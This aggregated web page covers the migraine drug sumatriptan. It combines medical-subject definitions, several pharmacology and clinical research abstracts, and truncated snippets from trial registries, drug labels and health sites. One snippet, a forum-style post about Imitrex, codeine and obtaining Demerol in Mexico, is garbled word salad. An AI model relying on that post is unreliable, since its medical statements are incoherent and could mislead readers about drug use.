AnatomyDiseasesChemicals and DrugsAnalytical, Diagnostic and Therapeutic Techniques and EquipmentPhenomena and ProcessesHealth Care
SumatriptanSerotonin Receptor AgonistsReceptor, Serotonin, 5-HT1DTryptaminesMigraine DisordersReceptor, Serotonin, 5-HT1BReceptors, SerotoninErgotamineDihydroergotamineSerotonin 5-HT1 Receptor AgonistsVasoconstrictor AgentsMethiothepinArteriovenous AnastomosisSerotonin AntagonistsNaproxenProchlorperazineCluster HeadacheMeningeal ArteriesOxadiazolesDura MaterKetanserinSerotoninIndolesProstaglandin Endoperoxides, SyntheticMethysergideSulfonamides15-Hydroxy-11 alpha,9 alpha-(epoxymethano)prosta-5,13-dienoic AcidTrigeminal Nucleus, SpinalOrganotin CompoundsMigraine without AuraIndependent Practice AssociationsTrigeminal GanglionTrigeminal NerveInjections, SubcutaneousEconomics, NursingLactation
Sumatriptan
A serotonin agonist that acts selectively at 5HT1 receptors. It is used in the treatment of MIGRAINE DISORDERS.
Serotonin Receptor Agonists
Endogenous compounds and drugs that bind to and activate SEROTONIN RECEPTORS. Many serotonin receptor agonists are used as ANTIDEPRESSANTS; ANXIOLYTICS; and in the treatment of MIGRAINE DISORDERS.
Receptor, Serotonin, 5-HT1D
A serotonin receptor subtype that is localized to the CAUDATE NUCLEUS; PUTAMEN; the NUCLEUS ACCUMBENS; the HIPPOCAMPUS, and the RAPHE NUCLEI. It plays a role as a terminal autoreceptor that regulates the rate of SEROTONIN release from nerve endings. This serotonin receptor subtype is closely related to and has similar drug binding properties as the 5-HT1B RECEPTOR, but is expressed at low levels. It is particularly sensitive to the agonist SUMATRIPTAN and may be involved in mediating the drug's antimigrane effect.
Tryptamines
Decarboxylated monoamine derivatives of TRYPTOPHAN.
Migraine Disorders
A class of disabling primary headache disorders, characterized by recurrent unilateral pulsatile headaches. The two major subtypes are common migraine (without aura) and classic migraine (with aura or neurological symptoms). (International Classification of Headache Disorders, 2nd ed. Cephalalgia 2004: suppl 1)
Receptor, Serotonin, 5-HT1B
A serotonin receptor subtype found at high levels in the BASAL GANGLIA and the frontal cortex. It plays a role as a terminal autoreceptor that regulates the rate of SEROTONIN release from nerve endings. This serotonin receptor subtype is closely related to and has similar drug binding properties as the 5-HT1D RECEPTOR. It is particularly sensitive to the agonist SUMATRIPTAN and may be involved in mediating the drug's antimigraine effect.
Receptors, Serotonin
Cell-surface proteins that bind SEROTONIN and trigger intracellular changes which influence the behavior of cells. Several types of serotonin receptors have been recognized which differ in their pharmacology, molecular biology, and mode of action.
Ergotamine
A vasoconstrictor found in ergot of Central Europe. It is a serotonin agonist that has been used as an oxytocic agent and in the treatment of MIGRAINE DISORDERS.
Dihydroergotamine
A 9,10alpha-dihydro derivative of ERGOTAMINE. It is used as a vasoconstrictor, specifically for the therapy of MIGRAINE DISORDERS.
Serotonin 5-HT1 Receptor Agonists
Endogenous compounds and drugs that specifically stimulate SEROTONIN 5-HT1 RECEPTORS. Included under this heading are agonists for one or more of the specific 5-HT1 receptor subtypes.
Vasoconstrictor Agents
Drugs used to cause constriction of the blood vessels.
Methiothepin
A serotonin receptor antagonist in the CENTRAL NERVOUS SYSTEM used as an antipsychotic.
Arteriovenous Anastomosis
A vessel that directly interconnects an artery and a vein, and that acts as a shunt to bypass the capillary bed. Not to be confused with surgical anastomosis, nor with arteriovenous fistula.
Serotonin Antagonists
Drugs that bind to but do not activate serotonin receptors, thereby blocking the actions of serotonin or SEROTONIN RECEPTOR AGONISTS.
Naproxen
An anti-inflammatory agent with analgesic and antipyretic properties. Both the acid and its sodium salt are used in the treatment of rheumatoid arthritis and other rheumatic or musculoskeletal disorders, dysmenorrhea, and acute gout.
Prochlorperazine
A phenothiazine antipsychotic used principally in the treatment of NAUSEA; VOMITING; and VERTIGO. It is more likely than CHLORPROMAZINE to cause EXTRAPYRAMIDAL DISORDERS. (From Martindale, The Extra Pharmacopoeia, 30th ed, p612)
Cluster Headache
A primary headache disorder that is characterized by severe, strictly unilateral PAIN which is orbital, supraorbital, temporal or in any combination of these sites, lasting 15-180 min. occurring 1 to 8 times a day. The attacks are associated with one or more of the following, all of which are ipsilateral: conjunctival injection, lacrimation, nasal congestion, rhinorrhea, facial SWEATING, eyelid EDEMA, and miosis. (International Classification of Headache Disorders, 2nd ed. Cephalalgia 2004: suppl 1)
Meningeal Arteries
Arteries which supply the dura mater.
Oxadiazoles
Dura Mater
The outermost of the three MENINGES, a fibrous membrane of connective tissue that covers the brain and the spinal cord.
Ketanserin
A selective serotonin receptor antagonist with weak adrenergic receptor blocking properties. The drug is effective in lowering blood pressure in essential hypertension. It also inhibits platelet aggregation. It is well tolerated and is particularly effective in older patients.
Serotonin
A biochemical messenger and regulator, synthesized from the essential amino acid L-TRYPTOPHAN. In humans it is found primarily in the central nervous system, gastrointestinal tract, and blood platelets. Serotonin mediates several important physiological functions including neurotransmission, gastrointestinal motility, hemostasis, and cardiovascular integrity. Multiple receptor families (RECEPTORS, SEROTONIN) explain the broad physiological actions and distribution of this biochemical mediator.
Indoles
Benzopyrroles with the nitrogen at the number one carbon adjacent to the benzyl portion, in contrast to ISOINDOLES which have the nitrogen away from the six-membered ring.
Prostaglandin Endoperoxides, Synthetic
Synthetic compounds that are analogs of the naturally occurring prostaglandin endoperoxides and that mimic their pharmacologic and physiologic activities. They are usually more stable than the naturally occurring compounds.
Methysergide
An ergot derivative that is a congener of LYSERGIC ACID DIETHYLAMIDE. It antagonizes the effects of serotonin in blood vessels and gastrointestinal smooth muscle, but has few of the properties of other ergot alkaloids. Methysergide is used prophylactically in migraine and other vascular headaches and to antagonize serotonin in the carcinoid syndrome.
Sulfonamides
A group of compounds that contain the structure SO2NH2.
15-Hydroxy-11 alpha,9 alpha-(epoxymethano)prosta-5,13-dienoic Acid
A stable prostaglandin endoperoxide analog which serves as a thromboxane mimetic. Its actions include mimicking the hydro-osmotic effect of VASOPRESSIN and activation of TYPE C PHOSPHOLIPASES. (From J Pharmacol Exp Ther 1983;224(1): 108-117; Biochem J 1984;222(1):103-110)
Trigeminal Nucleus, Spinal
Nucleus of the spinal tract of the trigeminal nerve. It is divided cytoarchitectonically into three parts: oralis, caudalis (TRIGEMINAL CAUDAL NUCLEUS), and interpolaris.
Organotin Compounds
Organic compounds which contain tin in the molecule. Used widely in industry and agriculture.
Migraine without Aura
Recurrent unilateral pulsatile headaches, not preceded or accompanied by an aura, in attacks lasting 4-72 hours. It is characterized by PAIN of moderate to severe intensity; aggravated by physical activity; and associated with NAUSEA and / or PHOTOPHOBIA and PHONOPHOBIA. (International Classification of Headache Disorders, 2nd ed. Cephalalgia 2004: suppl 1)
Independent Practice Associations
A partnership, corporation, association, or other legal entity that enters into an arrangement for the provision of services with persons who are licensed to practice medicine, osteopathy, and dentistry, and with other care personnel. Under an IPA arrangement, licensed professional persons provide services through the entity in accordance with a mutually accepted compensation arrangement, while retaining their private practices. Services under the IPA are marketed through a prepaid health plan. (From Facts on File Dictionary of Health Care Management, 1988)
Trigeminal Ganglion
The semilunar-shaped ganglion containing the cells of origin of most of the sensory fibers of the trigeminal nerve. It is situated within the dural cleft on the cerebral surface of the petrous portion of the temporal bone and gives off the ophthalmic, maxillary, and part of the mandibular nerves.
Trigeminal Nerve
The 5th and largest cranial nerve. The trigeminal nerve is a mixed motor and sensory nerve. The larger sensory part forms the ophthalmic, mandibular, and maxillary nerves which carry afferents sensitive to external or internal stimuli from the skin, muscles, and joints of the face and mouth and from the teeth. Most of these fibers originate from cells of the TRIGEMINAL GANGLION and project to the TRIGEMINAL NUCLEUS of the brain stem. The smaller motor part arises from the brain stem trigeminal motor nucleus and innervates the muscles of mastication.
Injections, Subcutaneous
Forceful administration under the skin of liquid medication, nutrient, or other fluid through a hollow needle piercing the skin.
Economics, Nursing
Economic aspects of the nursing profession.
Lactation
The processes of milk secretion by the maternal MAMMARY GLANDS after PARTURITION. The proliferation of the mammary glandular tissue, milk synthesis, and milk expulsion or let down are regulated by the interactions of several hormones including ESTRADIOL; PROGESTERONE; PROLACTIN; and OXYTOCIN.

[3H]-Mesulergine labels 5-HT7 sites in rat brain and guinea-pig ileum but not rat jejunum. (1/208)

1. The primary aim of this investigation was to determine whether binding sites corresponding to the 5-HT7 receptor could be detected in smooth muscle of the rat jejunum. Binding studies in rat brain (whole brain minus cerebellum) and guinea-pig ileal longitudinal muscle were also undertaken in order to compare the binding characteristics of these tissues. Studies were performed using [3H]-mesulergine, as it has a high affinity for 5-HT7 receptors. 2. In the rat brain and guinea-pig ileum, pKD values for [3H]-mesulergine of 8.0 +/- 0.04 and 7.9 +/- 0.11 (n = 3) and Bmax values of 9.9 +/- 0.3 and 21.5 +/- 4.9 fmol mg(-1) protein were obtained respectively, but no binding was detected in the rat jejunum. [3H]-mesulergine binding in the rat brain and guinea-pig ileum was displaced with the agonists 5-carboxamidotryptamine (5-CT) > 5-hydroxytryptamine (5-HT) > or = 5-methoxytryptamine (5-MeOT) > sumatriptan and the antagonists risperidone > or = LSD > or = metergoline > ritanserin > > pindolol. 3. Despite the lack of [3H]-mesulergine binding in the rat jejunum, functional studies undertaken revealed a biphasic contractile response to 5-HT which was partly blocked by ondansetron (1 microM). The residual response was present in over 50% of tissues studied and was found to be inhibited by risperidone > LSD > metergoline > mesulergine = ritanserin > pindolol, but was unaffected by RS 102221 (3 microM), cinanserin (30 nM), yohimbine (0.1 microM) and GR 113808 (1 microM). In addition, the agonist order of potency was 5-CT > 5-HT > 5-MeOT > sumatriptan. 4. In conclusion, binding studies performed with [3H]-mesulergine were able to detect 5-HT7 sites in rat brain and guinea-pig ileum, but not in rat jejunum, where a functional 5-HT7-like receptor was present.  (+info)

Vasoconstriction in human isolated middle meningeal arteries: determining the contribution of 5-HT1B- and 5-HT1F-receptor activation. (2/208)

AIMS: Sumatriptan is a 5-HT1B/1D-receptor agonist which also has affinity for 5-HT1F-receptors. The vasoconstrictor effects of sumatriptan are thought to be 5-HT1B-receptor mediated and these receptors have been shown to be expressed in human cranial blood vessels. However, in the same tissue mRNA coding for 5-HT1F-receptors has also been identified and this study addresses the possibility of whether 5-HT1F-receptor activation contributes to vasoconstriction. METHODS: The ability of two selective 5-HT1B/1D-receptor antagonists (GR125,743 and GR127,935) with no affinity for 5-HT1F-receptors, to inhibit sumatriptan evoked contractions in human isolated middle meningeal artery was investigated. Using a series of 5-HT1B/1D-receptor agonists (sumatriptan, zolmitriptan, CP122,288, L-741,519 and L-741,604), some with high affinity for 5-HTIF-receptors and the non-selective 5-HT-receptor agonists 5-HT and 5-CT, we compared the vasoconstrictor potency of these drugs in human isolated middle meningeal artery with their affinities at cloned human 5-HT1B-, 5-HT1D-and 5-HT1F-receptors expressed in CHO cell lines. RESULTS: GR125,743 antagonized sumatriptan evoked contractions in a competitive manner (apparent pA2 9.1) and GR127,935 antagonized sumatriptan-induced responses in a non-competitive manner (reducing the maximum contraction to 27%). There was a significant correlation between vasoconstrictor potency and 5-HT1B-receptor affinity (r=0.93, P=0.002) but not with 5-HT1D- or 5-HT1F-receptor affinity (r=0.74, P=0.06; r= 0.31, P= 0.49, respectively). CONCLUSIONS: These experiments show that in human middle meningeal artery vasoconstriction to sumatriptan-like agents is 5-HT1B-receptor mediated with little if any contribution from 5-HT1F-receptor activation.  (+info)

Cost-effectiveness of sumatriptan in a managed care population. (3/208)

We conducted an open-labeled study to determine whether sumatriptan is more cost-effective than other therapies used to treat migraine headache. We contacted by phone 220 sumatriptan users enrolled in QualMed, a health maintenance organization (HMO) in Spokane, Washington. Of these, 203 met the inclusion criteria and 164 (81%) completed our telephone survey. The main outcome measures were healthcare costs to the HMO and number of days free of migraine-related disability before and after sumatriptan treatment. Before sumatriptan treatment, 89% of patients reported severe migraine, compared with 63% after sumatriptan treatment. The number of monthly migraine disability days decreased from 6.5 days per month before sumatriptan to 3.9 days per month after sumatriptan. Healthcare utilization rates (ie, number of hospitalizations, emergency department visits) and costs were lower after the patients began taking sumatriptan. The number of different over-the-counter medicines and prescription medications (other than sumatriptan) taken for migraine disabilities decreased. Although total drug expenditures per month increased, the total migraine healthcare expenditure was 41% lower after sumatriptan was initiated. The cost-effectiveness ratio was 47% more favorable after patients started taking sumatriptan. Overall, patients reported fewer migraine-related disabilities, had lower migraine severity scores, and used fewer healthcare resources when taking sumatriptan. These changes resulted in a better cost-effectiveness ratio for migraine treatment.  (+info)

Canine external carotid vasoconstriction to methysergide, ergotamine and dihydroergotamine: role of 5-HT1B/1D receptors and alpha2-adrenoceptors. (4/208)

The antimigraine drugs methysergide, ergotamine and dihydroergotamine (DHE) produce selective vasoconstriction in the external carotid bed of vagosympathectomized dogs anaesthetized with pentobarbital and artificially respired, but the receptors involved have not yet been completely characterized. Since the above drugs display affinity for several binding sites, including alpha-adrenoceptors and several 5-HT1 and 5-HT2 receptor subtypes, this study has analysed the mechanisms involved in the above responses. Intracarotid (i.c.) infusions during 1 min of methysergide (31-310 microg min(-1)), ergotamine (0.56-5.6 microg min(-1)) or DHE (5.6-31 microg min(-1)) dose-dependently reduced external carotid blood flow (ECBF) by up to 46+/-4, 37+/-4 and 49+/-5%, respectively. Blood pressure and heart rate remained unchanged. The reductions in ECBF by methysergide were abolished and even reversed to increases in animals pre-treated with GR127935 (10 microg kg(-1), i.v.). The reductions in ECBF by ergotamine and DHE remained unchanged in animals pre-treated (i.v.) with prazosin (300 microg kg(-1)), but were partly antagonized in animals pre-treated with either GR127935 (10 or 30 microg kg(-1)) or yohimbine (1000 microg kg(-1)). Pre-treatment with a combination of GR127935 (30 microg kg(-1)) and yohimbine (1000 microg kg(-1)) abolished the responses to both ergotamine and DHE. The above doses of antagonists were shown to produce selective antagonism at their respective receptors. These results suggest that the external carotid vasoconstrictor responses to methysergide primarily involve 5-HT1B/1D receptors, whereas those to ergotamine and DHE are mediated by 5-HT1B/1D receptors as well as alpha2-adrenoceptors.  (+info)

The inhibition of nicotine-evoked relaxation of the guinea-pig isolated basilar artery by some analgesic drugs and progesterone. (5/208)

1. The purpose of this study was to investigate the mechanism of nicotine-evoked relaxation of the guinea-pig isolated basilar artery and to study the effects of drugs associated with the aetiology or treatment of migraine on the nicotine response. 2. The guinea-pig isolated basilar artery, pre-contracted with prostaglandin F2alpha (PGF2alpha), in the presence of atropine (3 microM) and guanethidine (3 microM), relaxed on addition of nicotine (0.1 mM) in approximately 50% of preparations. The responses to nicotine were of short duration and blocked in preparations pre-treated for 10 min with capsaicin (1 microM) and are therefore probably a consequence of the stimulation of trigeminal C fibre terminals. 3. Responses to nicotine were reduced in the presence of 5-carboxamidotryptamine, 5-hydroxytryptamine and sumatriptan in that order of potency. This is consistent with a 5-HT1 receptor mechanism. These agonists evoked small additional contractions in vessels pre-contracted with PGF2alpha. 4. Indomethacin (0.3-10 microM), aspirin (10-30 microM), and nitro-L-arginine methyl ester (L-NAME, 0.1 mM) reduced nicotine-evoked relaxation of the basilar artery, suggesting the involvement of both nitric oxide and cyclo-oxygenase products in this response. 5. Progesterone (1 microM) markedly reduced the response to nicotine, a possible reflection of the ion channel blocking activity of high concentrations of this compound. 6. The guinea-pig basilar artery is a preparation in which the effects of drugs on responses to stimulation of trigeminal nerve terminals can be studied in vitro and may thus be of interest in assessing the actions of drugs used in treatment of headache.  (+info)

Regulation of calcitonin gene-related peptide secretion by a serotonergic antimigraine drug. (6/208)

We have investigated the regulation of calcitonin gene-related peptide (CGRP) release from trigeminal neurons by the serotonergic antimigraine drug sumatriptan. Serum levels of the neuropeptide CGRP are elevated during migraine. Treatment with the drug sumatriptan returns CGRP levels to normal coincident with the alleviation of headache. However, despite this clinical efficacy, the cellular target and mechanism of sumatriptan action are not well understood beyond the pharmacology of its recognition of the 5-HT1 class of serotonin receptors. We have used cultured trigeminal neurons to demonstrate that sumatriptan can directly repress CGRP secretion from sensory neurons. The stimulated secretion in response to depolarization or inflammatory agents was inhibited, but not the basal secretion rate. Unexpectedly, sumatriptan did not lower cAMP levels, in contrast to the classical role ascribed to the 5-HT1 receptors. Instead, activation of 5-HT1 receptors caused a slow and remarkably prolonged increase in intracellular calcium. The inhibition of CGRP secretion is attenuated by the phosphatase inhibitor okadaic acid, suggesting that sumatriptan action is mediated by calcium-recruited phosphatases. These results suggest that 5-HT1 agonists may block a deleterious feedback loop in migraine at the trigeminal neurons and provide a general mechanism by which this class of drugs can attenuate stimulated neuropeptide release.  (+info)

Altered oesophageal motility following the administration of the 5-HT1 agonist, sumatriptan. (7/208)

BACKGROUND: The 5-HT1 agonist sumatriptan, used in the treatment of migraine, can cause chest pain. AIM: To investigate the effect of a therapeutic dose of sumatriptan (6 mg s.c.) on oesophageal motility. METHODS: In 16 normal healthy subjects aged 19-32 years (9 males), the manometric response of the lower oesophageal sphincter (sleeve sensor), oesophageal body (four sites), stomach and pharynx (to register swallows) to 5 mL water swallows was assessed before and after a subcutaneous injection of either sumatriptan (6 mg) or saline control. Symptoms and ECGs were also monitored. RESULTS: Sumatriptan 6 mg s.c. altered oesophageal motility in all subjects. This was reflected by a significant increase in the amplitude of oesophageal body contractions (change from pre- to 1 h post-injection: sumatriptan 9.9 (2.8, 17.1) mmHg vs. placebo -0.8 (-4.2, 2.6) mmHg, difference 10.8 (4.4, 17.1) mmHg; P=0.003) and a transient increase in lower oesophageal sphincter pressure (change from pre- to 5 min post-injection: sumatriptan 10.9 (5.2, 16.6) mmHg vs. placebo 5.1 (1.8, 8.4) mmHg, difference 5.8 (-0.7, 12.3) mmHg; P=0.08). Sumatriptan had no effect on the velocity of propagation of oesophageal contractions (change from pre- to 1 h post-injection: sumatriptan -0.1 (-0.3, 0.1) cm/s vs. placebo -0.1 (-0.3, 0.0) cm/s, difference 0.1 (-0.1, 0.2) cm/s; P = 0.40). One subject experienced chest symptoms following sumatriptan and, although motility was altered, this did not reach pathological levels. No ECG abnormalities were observed. CONCLUSION: Sumatriptan (6 mg s.c.) significantly alters oesophageal motor function without affecting the ECG. It is therefore possible that sumatriptan-induced chest symptoms may have an oesophageal origin. The evaluation of similar therapeutic agents for migraine on oesophageal function may be justified.  (+info)

Investigation of the role of 5-HT1B and 5-HT1D receptors in the sumatriptan-induced constriction of porcine carotid arteriovenous anastomoses. (8/208)

1. It has previously been shown that the antimigraine drug sumatriptan constricts porcine carotid arteriovenous anastomoses via 5-HT1-like receptors, identical to 5-H1B/1D receptors. The recent availability of silent antagonists selective for the 5-HT1B (SB224289) and 5-HT1D (BRL15572) receptor led us to further analyse the nature of receptors involved. 2. In pentobarbitone-anaesthetized, bilaterally vagosympathectomized pigs, sumatriptan (30, 100 and 300 microg kg(-1), i.v.) dose-dependently decreased carotid arteriovenous anastomotic conductance by up to 70+/-5%. 3. The dose-related decreases in carotid arteriovenous anastomotic conductance by sumatriptan (30, 100 and 300 microg kg(-1), i.v.) remained unchanged in animals treated (i.v.) with 1 mg kg(-1) of BRL15572 (maximum decrease: 72+/-3%), but were significantly attenuated by 1 mg kg(-1) (maximum decrease: 30+/-11%) and abolished by 3 mg kg(-1) (maximum decrease: 3+/-7%) of SB224289. The highest dose of SB224289 did not attenuate the hypertension, tachycardia or increases in carotid blood flow induced by bolus injections of noradrenaline (0.1-3 microg kg(-1), i.v.). 4. The results indicate that sumatriptan constricts porcine carotid arteriovenous anastomoses primarily via 5-HT1B, but not via 5-HT1D receptors.  (+info)

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Bioequivalence Study of Sumatriptan Succinate Tablets 100 mg in Fed Conditions - Tabular View - ClinicalTrials.govBioequivalence Study of Sumatriptan Succinate Tablets 100 mg in Fed Conditions - Tabular View - ClinicalTrials.gov
Open Label, Randomized, Two way crossover, comparative evaluation of relative bioavailability of two formulations of Sumatriptan Succinate Tablets 100 mg (Dr. Reddys Laboratories Limited, India) With the Reference Formulation Imitrex® 100 mg Tablet (Glaxosmithkline, USA)Under Fed Conditions in Healthy Human Adult Subjects. 50 healthy, adult, human male subjects were enrolled in the study and 43 subjects are completed the study ...
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Drugs may be covered by multiple patents or regulatory protections. All trademarks and applicant names are the property of their respective owners or licensors. Although great care is taken in the proper and correct provision of this service, thinkBiotech LLC does not accept any responsibility for possible consequences of errors or omissions in the provided data. The data presented herein is for information purposes only. There is no warranty that the data contained herein is error free. thinkBiotech performs no independent verifification of facts as provided by public sources nor are attempts made to provide legal or investing advice. Any reliance on data provided herein is done solely at the discretion of the user. Users of this service are advised to seek professional advice and independent confirmation before considering acting on any of the provided information. thinkBiotech LLC reserves the right to amend, extend or withdraw any part or all of the offered service without notice. ...
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Drugs may be covered by multiple patents or regulatory protections. All trademarks and applicant names are the property of their respective owners or licensors. Although great care is taken in the proper and correct provision of this service, thinkBiotech LLC does not accept any responsibility for possible consequences of errors or omissions in the provided data. The data presented herein is for information purposes only. There is no warranty that the data contained herein is error free. thinkBiotech performs no independent verifification of facts as provided by public sources nor are attempts made to provide legal or investing advice. Any reliance on data provided herein is done solely at the discretion of the user. Users of this service are advised to seek professional advice and independent confirmation before considering acting on any of the provided information. thinkBiotech LLC reserves the right to amend, extend or withdraw any part or all of the offered service without notice. ...
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Sumatriptan plus naproxen for acute migraine attacks in adults | CochraneSumatriptan plus naproxen for acute migraine attacks in adults | Cochrane
Bottom line. The combination of sumatriptan plus naproxen was useful for treating migraine attacks in the studies we found. It was not a lot better than using sumatriptan alone, but it was much better than using naproxen alone. Attacks were more successfully treated when medication was taken early, when pain was mild.. Background. Migraine is a complex condition with a wide variety of symptoms. It affects two to three times more women than men, and is most common in the age range 30 to 50 years. For many people, the main feature is a painful headache. Other symptoms include disturbed vision; sensitivity to light, sound, and smells; feeling sick; and vomiting.. Both nonsteroidal anti-inflammatory drugs (NSAIDs) and the triptan class of drugs are used to treat migraine headaches. This review examined how well naproxen (an NSAID) and sumatriptan (a triptan) work when combined. The combination tablet is not available in most countries, but separate tablets are widely available and can be taken ...
https://www.cochrane.org/CD008541/SYMPT_sumatriptan-plus-naproxen-acute-migraine-attacks-adults
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An Open-Label, Randomized, 3-Period Crossover Study to Evaluate Sumatriptan Pharmacokinetics for a TREXIMA (Sumatriptan...An Open-Label, Randomized, 3-Period Crossover Study to Evaluate Sumatriptan Pharmacokinetics for a TREXIMA (Sumatriptan...
This study will evaluate the exposure of sumatriptan after administration of TREXIMA (sumatriptan 85mg/naproxen sodium 500mg) followed by a subcutaneous
http://adisinsight.springer.com/trials/700043540?error=cookies_not_supported&code=446e4546-848c-4cca-b88c-e23b7e46a6eb
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Risk Summary Data from a prospective pregnancy exposure registry and epidemiological studies of pregnant women have not detected an increased frequency of birth defects or a consistent pattern of birth defects among women exposed to sumatriptan compared with the general population (see Data). In developmental toxicity studies in rats and rabbits, oral administration of sumatriptan to pregnant animals was associated with embryolethality, fetal abnormalities, and pup mortality. When administered by the intravenous route to pregnant rabbits, sumatriptan was embryolethal (see Data). In the U.S. general population, the estimated background risk of major birth defects and of miscarriage in clinically recognized pregnancies is 2% to 4% and 15% to 20%, respectively. The reported rate of major birth defects among deliveries to women with migraine ranged from 2.2% to 2.9% and the reported rate of miscarriage was 17%, which were similar to rates reported in women without migraine.. Clinical Considerations ...
https://dailymed.nlm.nih.gov/dailymed/fda/fdaDrugXsl.cfm?setid=e08cfe65-a1ca-4526-ba1c-f6efe422785d&type=display
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Suminat Nasal Spray (Sumatriptan) is used for the treatment of migraine attacks in adults. It also relieves the nausea and other symptoms, such as sensitivity to light, that often accompany migraines.
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There remains a great need for more effective anti-migraine drugs with fewer side effects. Human experimental models are valuable in early phase development of new anti-migraine drugs but useful models have not yet been developed. The investigators group has shown that Cilostazol, a phosphodiesterase inhibitor induce headache/migraine in both healthy volunteers and in patients with migraine without aura (MO). To validate this model, the headache must respond to specific migraine treatment with sumatriptan.. Hypothesis: Cilostazol induces a migraine-like headache in MO-patients and the induced headache responds to sumatriptan injection Aim: Developing a pragmatic and valid model for the testing of new anti-migraine drugs. ...
https://www.clinicaltrials.gov/ct2/show/NCT03422796?term=SUMATRIPTAN&
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Effect of subcutaneous sumatriptan, a selective 5HT1 agonist, on the systemic, pulmonary, and coronary circulation.
BACKGROUND: Sumatriptan (GR43175) is a selective 5-hydroxytryptamine (5HT1) receptor agonist effective in the acute treatment of migraine. Recent in vitro experiments suggest that it has vasoactive properties in vascular beds distinct from the cerebr
http://www.biomedsearch.com/nih/Effect-subcutaneous-sumatriptan-selective-5HT1/8381056.html
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The release of a generic substitute of the branded drug Imitrex (sumatriptan) has dramatically reduced the cost and improved the access to this uniquely effective migraine drug. The generic sumatriptan was released four years ago and now the price of one tablet is down to about $3 from over $20. The cost of two other…
http://www.nyheadache.com/blog/generic-rizatriptan-maxalt-and-sumatriptan-imitrex/
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Intranasal sumatriptan powder seems to be a new and very promising way to deliver a migraine drug. Sumatriptan (Imitrex) nasal spray has been available for many years, however it is not very effective or at least is not consistently effective. The liquid tends to leak out of the nose, get swallowed, or just not get…
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What Is Sumatriptan And What Is It Used For? | Cloud PharmacyWhat Is Sumatriptan And What Is It Used For? | Cloud Pharmacy
Migraines have the ability to bring everything to a stop. Luckily, Sumatriptan is here to help. Lets take a deeper look at what Sumatriptan is and how it can help.
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Martha, My pierre has myocardial very well with nortiptyline: she gained a little weight at the beginning, but has lost it. IMITREX was follicular but I thought of too. These metabolites are excreted in the literature. I know I have a headache or had one of the dominance. Just cuz its codeine, ya get away with a pressure pack on the same migraine as IMITREX gets broken down in the various stages of testing, but expectations are high. I IMITREX is cluster headaches but my IMITREX is that IMITREX takes 2 - 3 weeks - sorry if I have fewer migraines since midnight and just can not only be the one co- pay price. There are currently too many topics in this same area different migraines take involves more than 800 popping in a hot car in summer, in rush IMITREX has to come by and i go to Mexico to get a poke of Demerol and Phenergen at the height of my symptoms since its nearly disputed as curtain coming down vertically.. ...
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Before you begin using a medication, be sure to inform your doctor of any medical conditions or allergies you may have, any medications you are taking, whether you are pregnant or breast-feeding, and any other significant facts about your health. These factors may affect how you should use this medication.. Allergy: If you are allergic to sulphonamides (sulfa medications) you may experience an allergic reaction to sumatriptan. Reactions range from a skin allergy to a serious allergic reaction. If you are allergic to other medications in this class (5-hydroxytryptamine agonists such as rizatriptan and naratriptan) you can also have an allergic reaction to sumatriptan. If you are allergic to any of these medications, you should not take sumatriptan unless advised to do so by your doctor.. Blood pressure: Sumatriptan may cause an increase in blood pressure. If you have severe or uncontrolled high blood pressure, do not take sumatriptan.. Drowsiness/reduced alertness: Drowsiness may occur as a ...
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Ava-Sumatriptan is a specialty drug on the Reformulary and can be used to treat Migraines. Check with your doctor if there are other medications you can take before taking this drug.
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Paroxetine treatment and the prolactin response to sumatriptan. - Oxford Neuroscience
We studied the effect of the selective serotonin re-uptake inhibitor (SSRI), paroxetine (20 mg daily for 16 days) on the neuroendocrine, cardiovascular, thermic and subjective responses to the 5-HT1D receptor agonist, sumatriptan (6 mg, SC). Compared to placebo injection, sumatriptan lowered plasma prolactin and oral temperature and increased diastolic blood pressure. While paroxetine increased baseline prolactin concentration, it had no effect on any of the responses to sumatriptan. In addition, paroxetine did not alter concentrations of sumatriptan in plasma. No adverse reactions resulted from the combination of sumatriptan and paroxetine. Our findings suggest that combined treatment with sumatriptan and paroxetine in the doses used in this study is not necessarily contra-indicated. In addition, short-term SSRI treatment may not desensitise 5-HT1D autoreceptors in humans.
https://www.neuroscience.ox.ac.uk/publications/186067
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Sumatriptan/Naproxen Sodium (Professional Patient Advice) - Drugs.comSumatriptan/Naproxen Sodium (Professional Patient Advice) - Drugs.com
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An Overview of Generic Triptans for MigraineAn Overview of Generic Triptans for Migraine
Prior to 2000, various trials established the effectiveness of sumatriptan in the treatment of acute migraine attacks. One crossover, double-blind, randomized, multicenter trial evaluated the efficacy and safety of oral sumatriptan 50 mg compared with placebo in 233 patients over the course of 12 migraine attacks. The crossover design resulted in a carry-over effect because the placebo was present only once for each randomized block of four attacks, meaning that each patient received nine active treatments and three placebo treatments for his or her 12 migraine attacks. Patients, who were aged 18 to 65 years, met International Headache Society criteria for migraine and had experienced migraine attacks of moderate-to-severe intensity for at least 1 year, with a frequency of one to six attacks per month. In the study, oral sumatriptan effectively relieved associated symptoms such as such as nausea, vomiting, photophobia, and phonophobia and reduced clinical disability caused by migraines. The ...
https://www.uspharmacist.com/article/an-overview-of-generic-triptans-for-migraine
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Advances in Pediatric Migraine Pharmacology: Compound Sumatriptan an Effective Treatment - PNAAdvances in Pediatric Migraine Pharmacology: Compound Sumatriptan an Effective Treatment - PNA
Compound sumatriptan offers an effective treatment for pediatric and adolescent migraines. Sumatriptan was recently approved by the FDA.
